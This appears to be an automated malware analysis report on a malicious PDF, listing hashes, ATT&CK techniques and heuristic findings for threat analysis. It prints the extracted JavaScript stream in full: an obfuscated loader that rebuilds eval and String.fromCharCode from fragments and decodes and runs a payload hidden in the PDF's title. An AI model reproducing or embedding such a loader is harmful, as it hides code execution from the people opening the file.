Malicious PDF — malware analysis report

Static analysis result for SHA-256 ec4d8d7bf27dce7f…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-08
MD5: 279f183ad461e4aef8ec80f38bc43a3e SHA-1: e3f80c9d90cfccb4d74cf331bd74111851ec810c SHA-256: ec4d8d7bf27dce7f784e4a526cdef6e0c596f7756c5f15b303a6b0df7f98b690
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The ML classifier strongly indicates maliciousness, and heuristics confirm the presence of embedded JavaScript within the PDF. This JavaScript is likely intended to exploit a vulnerability in the PDF reader to execute arbitrary code. The 'test' in the document body is not indicative of malicious intent but the presence of the JavaScript is highly suspicious.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFFD 486 bytes
SHA-256: a2e8d9c4b49d7ec0963d3dc36a8dc6a1b2b69c65ba8f2b2f0686050c635df084
Preview script
First 1,000 lines of the extracted script
kti='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
xutg=e('ti'+'tle');
s=xutg.substr(t.length + 8,3)+'str';
q=xutg[s](1,(1,t.length + 7));
wqnlu=e('S'+'tring.fro'+q);
q=xutg[s](14)[qqq]('u');
k=q.length;
for (i = 0; i != k; i+=2) {
	pygxy = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	kti += wqnlu(pygxy);
}
e(kti);

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